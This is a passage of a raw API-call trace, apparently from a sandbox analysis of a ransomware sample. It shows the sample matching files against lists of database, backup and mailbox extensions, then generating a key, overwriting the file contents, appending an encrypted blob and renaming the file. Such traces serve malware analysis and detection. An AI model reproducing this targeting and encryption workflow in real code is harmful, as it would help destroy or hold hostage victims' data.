	[0146.288] lstrlenW (lpString=".DBX") returned 4
	[0146.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0146.288] lstrlenW (lpString=".MDT") returned 4
	[0146.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0146.288] lstrlenW (lpString=".SQB") returned 4
	[0146.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0146.288] lstrlenW (lpString=".vhd") returned 4
	[0146.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0146.288] lstrlenW (lpString=".bac") returned 4
	[0146.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".bac") returned 0x0
	[0146.288] lstrlenW (lpString=".mdf") returned 4
	[0146.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0146.288] lstrlenW (lpString=".BAK") returned 4
	[0146.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0146.288] lstrlenW (lpString=".BAC") returned 4
	[0146.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0146.288] lstrlenW (lpString=".dbs") returned 4
	[0146.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0146.288] lstrlenW (lpString=".vhdx") returned 5
	[0146.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0146.289] lstrlenW (lpString=".NDF") returned 4
	[0146.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0146.289] lstrlenW (lpString=".dat") returned 4
	[0146.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".dat") returned 0x0
	[0146.289] lstrlenW (lpString=".DBS") returned 4
	[0146.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0146.289] lstrlenW (lpString=".CKP") returned 4
	[0146.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0146.289] lstrlenW (lpString=".edb") returned 4
	[0146.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".edb") returned 0x0
	[0146.289] lstrlenW (lpString=".PST") returned 4
	[0146.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".PST") returned 0x0
	[0146.289] lstrlenW (lpString=".dbf") returned 4
	[0146.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0146.289] lstrlenW (lpString=".SQL") returned 4
	[0146.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0146.289] lstrlenW (lpString=".pst") returned 4
	[0146.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".pst") returned 0x0
	[0146.289] lstrlenW (lpString=".dbv") returned 4
	[0146.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0146.289] lstrlenW (lpString=".SDF") returned 4
	[0146.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0146.290] lstrlenW (lpString=".dtxs") returned 5
	[0146.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0146.290] lstrlenW (lpString=".db3") returned 4
	[0146.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".db3") returned 0x0
	[0146.290] lstrlenW (lpString=".OST") returned 4
	[0146.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".OST") returned 0x0
	[0146.290] lstrlenW (lpString=".dbx") returned 4
	[0146.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0146.290] lstrlenW (lpString=".DB3") returned 4
	[0146.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0146.290] lstrlenW (lpString=".DAT") returned 4
	[0146.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0146.290] lstrlenW (lpString=".VHDX") returned 5
	[0146.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0146.290] lstrlenW (lpString=".ndf") returned 4
	[0146.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0146.291] lstrlenW (lpString=".DB") returned 3
	[0146.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".DB") returned 0x0
	[0146.291] lstrlenW (lpString=".sql") returned 4
	[0146.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".sql") returned 0x0
	[0146.291] lstrlenW (lpString=".MYD") returned 4
	[0146.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0146.291] lstrlenW (lpString=".DBT") returned 4
	[0146.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0146.291] lstrlenW (lpString=".ACCDB") returned 6
	[0146.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0146.291] lstrlenW (lpString=".fdb") returned 4
	[0146.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0146.291] lstrlenW (lpString=".bak") returned 4
	[0146.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".bak") returned 0x0
	[0146.291] lstrlenW (lpString=".myd") returned 4
	[0146.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".myd") returned 0x0
	[0146.291] lstrlenW (lpString=".DTXS") returned 5
	[0146.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0146.291] lstrlenW (lpString=".ckp") returned 4
	[0146.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0146.291] lstrlenW (lpString=".dbt") returned 4
	[0146.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0146.291] lstrlenW (lpString=".db") returned 3
	[0146.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".db") returned 0x0
	[0146.291] lstrlenW (lpString=".TXT") returned 4
	[0146.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0146.292] lstrlenW (lpString=".MDF") returned 4
	[0146.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0146.292] lstrlenW (lpString=".bdb") returned 4
	[0146.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0146.292] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0146.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.292] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3956b8) returned 1
	[0146.293] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.293] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0146.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0146.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0146.293] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26628354660) returned 1
	[0146.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc09af9b0, dwHighDateTime=0x1d60e1e)) 
	[0146.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0146.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0146.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0146.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac890
	[0146.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac890 | out: hHeap=0x300000) returned 1
	[0146.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d02b8
	[0146.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28704c8
	[0146.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0146.294] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0146.295] GetLastError () returned 0x0
	[0146.295] GetLastError () returned 0x0
	[0146.295] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0146.295] GetLastError () returned 0x0
	[0146.295] GetLastError () returned 0x0
	[0146.295] ReadFile (in: hFile=0x10c, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x18380, lpOverlapped=0x0) returned 1
	[0146.301] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffe7c80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.301] WriteFile (in: hFile=0x10c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x18380, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x18380, lpOverlapped=0x0) returned 1
	[0146.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0146.302] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.302] WriteFile (in: hFile=0x10c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.302] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.302] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.302] CloseHandle (hObject=0x10c) returned 1
	[0146.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d02b8
	[0146.303] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll.~~~~")) returned 1
	[0146.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0146.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0146.306] GetLastError () returned 0x0
	[0146.306] RtlWakeConditionVariable () returned 0x365f70
	[0146.306] GetCurrentThreadId () returned 0x9f4
	[0146.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".scr") returned 0x0
	[0146.306] lstrlenW (lpString=".cmd") returned 4
	[0146.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0146.307] lstrlenW (lpString=".dll") returned 4
	[0146.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".dll") returned 0x0
	[0146.307] lstrlenW (lpString=".bat") returned 4
	[0146.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".bat") returned 0x0
	[0146.307] lstrlenW (lpString=".cpl") returned 4
	[0146.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0146.307] lstrlenW (lpString=".sys") returned 4
	[0146.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".sys") returned 0x0
	[0146.307] lstrlenW (lpString=".msc") returned 4
	[0146.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".msc") returned 0x0
	[0146.307] lstrlenW (lpString=".com") returned 4
	[0146.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".com") returned 0x0
	[0146.307] lstrlenW (lpString=".lnk") returned 4
	[0146.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0146.307] lstrlenW (lpString=".msp") returned 4
	[0146.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".msp") returned 0x0
	[0146.307] lstrlenW (lpString=".pif") returned 4
	[0146.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".pif") returned 0x0
	[0146.308] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0146.311] lstrlenW (lpString=".sqb") returned 4
	[0146.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0146.311] lstrlenW (lpString=".ost") returned 4
	[0146.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".ost") returned 0x0
	[0146.311] lstrlenW (lpString=".txt") returned 4
	[0146.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".txt") returned 0x0
	[0146.311] lstrlenW (lpString=".mdt") returned 4
	[0146.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0146.311] lstrlenW (lpString=".BDB") returned 4
	[0146.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0146.311] lstrlenW (lpString=".eql") returned 4
	[0146.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".eql") returned 0x0
	[0146.311] lstrlenW (lpString=".DBF") returned 4
	[0146.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0146.311] lstrlenW (lpString=".EQL") returned 4
	[0146.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0146.312] lstrlenW (lpString=".FDB") returned 4
	[0146.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0146.312] lstrlenW (lpString=".EDB") returned 4
	[0146.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0146.312] lstrlenW (lpString=".DACPAC") returned 7
	[0146.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0146.312] lstrlenW (lpString=".VHD") returned 4
	[0146.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0146.312] lstrlenW (lpString=".DBV") returned 4
	[0146.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0146.312] lstrlenW (lpString=".dacpac") returned 7
	[0146.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0146.312] lstrlenW (lpString=".sdf") returned 4
	[0146.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0146.312] lstrlenW (lpString=".accdb") returned 6
	[0146.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0146.312] lstrlenW (lpString=".DBX") returned 4
	[0146.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0146.312] lstrlenW (lpString=".MDT") returned 4
	[0146.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0146.312] lstrlenW (lpString=".SQB") returned 4
	[0146.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0146.312] lstrlenW (lpString=".vhd") returned 4
	[0146.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0146.312] lstrlenW (lpString=".bac") returned 4
	[0146.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".bac") returned 0x0
	[0146.313] lstrlenW (lpString=".mdf") returned 4
	[0146.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0146.313] lstrlenW (lpString=".BAK") returned 4
	[0146.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0146.313] lstrlenW (lpString=".BAC") returned 4
	[0146.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0146.313] lstrlenW (lpString=".dbs") returned 4
	[0146.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0146.313] lstrlenW (lpString=".vhdx") returned 5
	[0146.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0146.313] lstrlenW (lpString=".NDF") returned 4
	[0146.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0146.313] lstrlenW (lpString=".dat") returned 4
	[0146.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".dat") returned 0x0
	[0146.313] lstrlenW (lpString=".DBS") returned 4
	[0146.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0146.313] lstrlenW (lpString=".CKP") returned 4
	[0146.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0146.313] lstrlenW (lpString=".edb") returned 4
	[0146.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".edb") returned 0x0
	[0146.313] lstrlenW (lpString=".PST") returned 4
	[0146.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".PST") returned 0x0
	[0146.313] lstrlenW (lpString=".dbf") returned 4
	[0146.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0146.314] lstrlenW (lpString=".SQL") returned 4
	[0146.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0146.314] lstrlenW (lpString=".pst") returned 4
	[0146.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".pst") returned 0x0
	[0146.314] lstrlenW (lpString=".dbv") returned 4
	[0146.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0146.314] lstrlenW (lpString=".SDF") returned 4
	[0146.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0146.314] lstrlenW (lpString=".dtxs") returned 5
	[0146.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0146.314] lstrlenW (lpString=".db3") returned 4
